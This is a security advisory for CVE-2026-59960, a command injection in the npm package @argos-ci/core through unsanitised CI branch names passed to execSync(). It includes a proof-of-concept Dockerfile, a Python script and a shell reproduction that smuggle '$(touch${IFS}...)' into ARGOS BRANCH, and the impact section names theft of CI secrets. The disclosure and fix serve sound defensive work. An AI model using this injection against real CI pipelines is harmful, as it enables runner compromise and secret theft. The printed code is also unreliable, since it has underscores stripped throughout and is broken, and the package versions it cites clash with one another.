PT-2026-89735 · Npm · @Argos-Ci/Core
CVE-2026-59960
·
Published
2026-09-10
·
Updated
2026-09-10
CVSS v3.1
7.5
High
| Vector | AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H |
CI Branch Name OS Command Injection in @argos-ci/core
Summary
@argos-ci/core@6.2.0 passes attacker-controlled CI branch/ref strings directly into an execSync() template literal in packages/core/src/ci-environment/git.ts:89. When a CI project has hasRemoteContentAccess: false, the Argos upload flow calls getMergeBaseCommitSha(), which invokes gitFetch() with the unsanitized branch name. Because execSync() passes the command string to /bin/sh -c, shell metacharacters such as $() command substitution are evaluated before git runs, enabling an attacker who can influence the branch name (e.g., via a pull request) to execute arbitrary OS commands on the CI runner. CVSS Base Score: 7.5 (High).Details
The vulnerable sink is in
packages/core/src/ci-environment/git.ts:87-90:ts
function gitFetch(input: { ref: string; depth: number; target: string }) {
execSync(
`git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`,
);
}execSync() with a template-literal string invokes /bin/sh -c "<command>". The shell expands $(), backticks, ;, and other metacharacters before spawning git, so any special characters present in input.ref or input.target are interpreted as shell instructions.A secondary sink exists at
packages/core/src/ci-environment/git.ts:67:ts
execSync(`git merge-base ${input.head} ${input.base}`)Complete data flow (source → sink):
packages/core/src/ci-environment/services/github-actions.ts:104— readsenv.GITHUB HEAD REFwithout validation (source).packages/core/src/ci-environment/services/github-actions.ts:165— returns the branch from the CI context.packages/core/src/ci-environment/services/github-actions.ts:330— stores the value asbranch.packages/core/src/config.ts:119-123— loadsciEnv?.branchintoconfig.branch; onlyformat: Stringis applied, no sanitization.packages/core/src/upload.ts:285— callsgetMergeBaseCommitSha({ base, head: config.branch })when the API returnshasRemoteContentAccess: false.packages/core/src/ci-environment/git.ts:123— passes attacker-controlled value asreftogitFetch().packages/core/src/ci-environment/git.ts:89— sink:execSync(git fetch ... origin ${input.ref}:${input.target}).
There is no allowlist, regex, or shell-escaping applied to the branch string at any point in the chain.
Recommended remediation — replace template-literal
execSync calls with execFileSync using argument arrays, which bypass the shell entirely:diff
-import { execSync } from "node:child process";
+import { execFileSync, execSync } from "node:child process";
function gitFetch(input: { ref: string; depth: number; target: string }) {
- execSync(
- `git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`,
- );
+ execFileSync("git", [
+ "fetch", "--force", "--update-head-ok",
+ "--depth", String(input.depth),
+ "origin", `${input.ref}:${input.target}`,
+ ]);
}
function gitMergeBase(input: { base: string; head: string }) {
- return execSync(`git merge-base ${input.head} ${input.base}`).toString().trim();
+ return execFileSync("git", ["merge-base", input.head, input.base], { encoding: "utf8" }).trim();
}PoC
Prerequisites:
- Docker installed on the test machine.
- Internet access to pull
node:22and install@argos-ci/cli@5.0.5from npm.
Step 1 — Build the Docker image:
bash
docker build -t argos-vuln-001
-f /path/to/vuln-001/Dockerfile
/path/to/reports/npmAI 634 argos-ci argos-javascript/The
Dockerfile:- Uses
node:22as the base. - Creates a local bare git repository at
/remote.gitand a working repository at/git-workspacewith that bare repo asorigin, sogit fetchhas a reachable remote. - Installs
@argos-ci/cli@5.1.0(which depends on@argos-ci/core@6.2.0) globally from the public npm registry. - Copies
poc.pyas the container entrypoint.
Step 2 — Run the container:
bash
docker run --rm argos-vuln-001What the PoC (
poc.py) does:- Starts a local HTTP mock server on
127.0.0.1:7777that returns{"hasRemoteContentAccess": false}forGET /v2/project, activating thegetMergeBaseCommitSha()code path. - Sets
ARGOS BRANCHtomain$(touch${IFS}/tmp/argos-ci-cve-poc).
$(...)is shell command substitution.${IFS}expands to a space character, bypassing naive space-based filters, making the injected commandtouch /tmp/argos-ci-cve-poc.
- Runs
argos upload <empty-dir> --files '*.png'with the malicious environment. - Checks for the marker file
/tmp/argos-ci-cve-poc.
Expected output:
============================================================
[PASS] VULNERABILITY CONFIRMED
[PASS] Marker file exists: /tmp/argos-ci-cve-poc
[PASS] The shell command injected via ARGOS BRANCH was executed
[PASS] by execSync() inside gitFetch() (git.ts:88-90).
============================================================The marker file is created before
git connects to the remote because the shell evaluates $() during command string construction. The CLI exits with a non-zero code later (due to mock API incomplete stubs), but the injection has already succeeded.Manual reproduction (without Docker):
bash
mkdir -p /tmp/argos-poc && cd /tmp/argos-poc
git init && git remote add origin https://github.com/argos-ci/argos-javascript.git
# Start a minimal mock API server (background)
node -e "
const http = require('http');
http.createServer((req, res) => {
if (req.url === '/v2/project') {
res.writeHead(200, {'content-type':'application/json'});
res.end(JSON.stringify({defaultBaseBranch:'main', hasRemoteContentAccess:false}));
return;
}
res.writeHead(200, {'content-type':'application/json'});
res.end('{}');
}).listen(7777);
" &
mkdir empty
rm -f /tmp/argos-ci-cve-poc
ARGOS API BASE URL=http://127.0.0.1:7777/v2/
ARGOS TOKEN=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
ARGOS COMMIT=0123456789abcdef0123456789abcdef01234567
ARGOS BRANCH='main$(touch${IFS}/tmp/argos-ci-cve-poc)'
npx -y @argos-ci/cli@5.0.5 upload empty --files '*.png' || true
test -f /tmp/argos-ci-cve-poc && echo "COMMAND EXECUTED"Impact
This is an OS Command Injection vulnerability (CWE-78). An attacker who can influence the branch or ref name used by a CI pipeline running Argos — for example, by opening a pull request with a crafted branch name, or by controlling the
GITHUB HEAD REF / ARGOS BRANCH environment variable — can execute arbitrary shell commands on the CI runner with the same privileges as the Argos upload process.Who is impacted:
- Any organization using
@argos-ci/core(or the CLI@argos-ci/cli) in a CI pipeline where the project's Argos configuration hashasRemoteContentAccess: false. This configuration is the default for projects that have not connected a Git provider integration, covering a significant portion of Argos users. - The risk is highest in
pull request targetor other privileged CI workflow patterns where the workflow runs with repository secrets but also processes attacker-supplied branch names from forks. - Successful exploitation can lead to: exfiltration of CI secrets (tokens, API keys, cloud credentials), supply-chain compromise of build artifacts, lateral movement within CI infrastructure, and full compromise of the CI runner environment.
Reproduction artifacts
Dockerfile
dockerfile
FROM node:22
# Install git and Python 3
RUN apt-get update &&
apt-get install -y --no-install-recommends git python3 &&
rm -rf /var/lib/apt/lists/*
# Configure git identity for commits inside the container
RUN git config --global user.email "poc@test.local" &&
git config --global user.name "PoC Test" &&
git config --global init.defaultBranch main
# Create a local bare repository that acts as the "origin" remote.
# This lets git fetch succeed (reaching a real remote is not required for the
# injection -- the shell expands $() before git connects -- but a working
# remote means getMergeBaseCommitSha() returns a real SHA and the full
# upload code-path is exercised without extra noise from git errors.)
RUN git init --bare /remote.git
# Create the working repository with the bare repo as origin
RUN git init /git-workspace &&
cd /git-workspace &&
git remote add origin /remote.git &&
echo "initial" > README.md &&
git add README.md &&
git commit -m "Initial commit" &&
git branch -M main &&
git push -u origin main
# Copy the cloned repository source for reference / source evidence.
# The vulnerable code lives in packages/core/src/ci-environment/git.ts:87-90.
COPY repo /argos-repo
# Install the vulnerable @argos-ci/cli@5.1.0 (depends on @argos-ci/core@6.2.0)
# from the public npm registry -- same version as the cloned repository.
RUN npm install -g @argos-ci/cli@5.1.0 --loglevel=warn
# Copy the Python PoC script
COPY vuln-001/poc.py /poc.py
# Run from inside the git workspace so that git commands find the correct repo
WORKDIR /git-workspace
ENTRYPOINT ["python3", "/poc.py"]poc.py
python
#!/usr/bin/env python3
"""
PoC for VULN-001 -- OS Command Injection in @argos-ci/core@6.2.0
Vulnerability: CWE-78 (OS Command Injection)
Affected file: packages/core/src/ci-environment/git.ts:87-90
The gitFetch() function passes user-controlled ref strings directly into an
execSync() template literal. Node.js execSync() invokes /bin/sh -c "...", so
shell metacharacters in the string -- including $() command substitution --
are evaluated before git runs.
Attack chain (source -> sink):
env.GITHUB HEAD REF / ARGOS BRANCH
-> config.ts:119-122 (String cast, no sanitisation)
-> upload.ts:285 getMergeBaseCommitSha({ head: config.branch })
-> git.ts:123 gitFetch({ ref: input.head, ... })
-> git.ts:89 execSync(`git fetch ... origin ${input.ref}:${input.target}`)
^^^^^^^^ shell injection sink
This script:
1. Starts a local HTTP mock server that returns hasRemoteContentAccess=false
for GET /v2/project, triggering the getMergeBaseCommitSha() code-path.
2. Invokes the argos CLI with ARGOS BRANCH set to a malicious value
containing a $() command substitution.
3. Checks for a filesystem artefact that proves execution.
"""
import json
import os
import subprocess
import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
# File created by the injected command -- its existence proves execution.
MARKER FILE = "/tmp/argos-ci-cve-poc"
# Port for the mock Argos API server.
MOCK PORT = 7777
class MockArgosAPI(BaseHTTPRequestHandler):
"""Minimal mock of the Argos REST API.
Only two responses matter:
- GET /v2/project -- must return hasRemoteContentAccess=false to trigger
the git-based merge-base discovery code-path.
- POST /v2/builds -- needs to return a recognisable structure so the SDK
does not abort before we can observe the side-effect.
"""
def log message(self, fmt, *args):
# Suppress per-request log noise; PoC progress messages are enough.
pass
def send json(self, status: int, body: dict) -> None:
raw = json.dumps(body).encode()
self.send response(status)
self.send header("Content-Type", "application/json")
self.send header("Content-Length", str(len(raw)))
self.end headers()
self.wfile.write(raw)
def do GET(self):
if self.path.rstrip("/") == "/v2/project":
# hasRemoteContentAccess=false is the precondition that makes the
# SDK call getMergeBaseCommitSha() instead of fetching from the
# Git provider API. This is the key to reaching the sink.
self. send json(200, {
"id": "proj-1",
"defaultBaseBranch": "main",
"hasRemoteContentAccess": False,
})
else:
self. send json(200, {})
def do POST(self):
# Drain request body to keep the connection clean.
length = int(self.headers.get("Content-Length", 0))
self.rfile.read(length)
if "/builds" in self.path:
# Return the minimal structure the SDK dereferences after POST /builds.
self. send json(201, {
"id": "build-1",
"url": "http://localhost/build/1",
"screenshots": [],
"pwTraces": [],
})
else:
self. send json(200, {})
def do PUT(self):
length = int(self.headers.get("Content-Length", 0))
self.rfile.read(length)
self. send json(200, {})
def start mock server() -> HTTPServer:
server = HTTPServer(("127.0.0.1", MOCK PORT), MockArgosAPI)
thread = threading.Thread(target=server.serve forever, daemon=True)
thread.start()
return server
def main():
print("[*] VULN-001 PoC -- @argos-ci/core@6.1.1 OS Command Injection")
print("[*] Source sink: packages/core/src/ci-environment/git.ts:87-90")
print()
# Remove any stale marker from a previous run.
if os.path.exists(MARKER FILE):
os.remove(MARKER FILE)
# Start the mock Argos API.
server = start mock server()
print(f"[*] Mock Argos API server listening on 127.0.0.1:{MOCK PORT}")
# Build the malicious branch name.
# Breakdown:
# main -- valid branch prefix so git ref looks plausible
# $(...) -- shell command substitution, evaluated by /bin/sh
# touch${IFS}<path> -- ${IFS} expands to a space, bypassing naive space
# filters and forming "touch <path>"
malicious branch = f"main$(touch${{IFS}}{MARKER FILE})"
print(f"[*] Malicious ARGOS BRANCH value: {malicious branch}")
print(f"[*] Expected shell expansion: touch {MARKER FILE}")
print()
# Empty upload directory -- no real screenshots needed. The injection
# occurs during merge-base discovery before any upload loop runs.
upload dir = "/tmp/argos-empty-upload"
os.makedirs(upload dir, exist ok=True)
env = dict(os.environ)
env.update({
"ARGOS API BASE URL": f"http://127.0.0.1:{MOCK PORT}/v2/",
"ARGOS TOKEN": "a" * 40,
"ARGOS COMMIT": "0" * 40,
"ARGOS BRANCH": malicious branch,
# Disable update-notifier noise inside the CLI.
"NO UPDATE NOTIFIER": "1",
})
print("[*] Running: argos upload <empty-dir> --files '*.png'")
result = subprocess.run(
["argos", "upload", upload dir, "--files", "*.png"],
env=env,
capture output=True,
text=True,
# CWD must be a git repository with an 'origin' remote so that
# git fetch has a valid context. /git-workspace is prepared in the
# Dockerfile for this purpose.
cwd="/git-workspace",
)
print(f"[*] CLI exit code : {result.returncode}")
if result.stdout.strip():
print(f"[*] CLI stdout : {result.stdout.strip()[:600]}")
if result.stderr.strip():
print(f"[*] CLI stderr : {result.stderr.strip()[:600]}")
server.shutdown()
print()
# --- Verdict ---
if os.path.exists(MARKER FILE):
print("=" * 60)
print("[PASS] VULNERABILITY CONFIRMED")
print(f"[PASS] Marker file exists: {MARKER FILE}")
print("[PASS] The shell command injected via ARGOS BRANCH was executed")
print("[PASS] by execSync() inside gitFetch() (git.ts:88-90).")
print("=" * 60)
sys.exit(0)
else:
print("=" * 60)
print("[FAIL] Marker file not found -- injection did not trigger.")
print("[FAIL] Check that CWD is a git repo with a reachable 'origin'.")
print("[FAIL] Check that the mock server returned hasRemoteContentAccess=false.")
print("=" * 60)
sys.exit(1)
if name == " main ":
main()Fix
OS Command Injection
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
@Argos-Ci/Core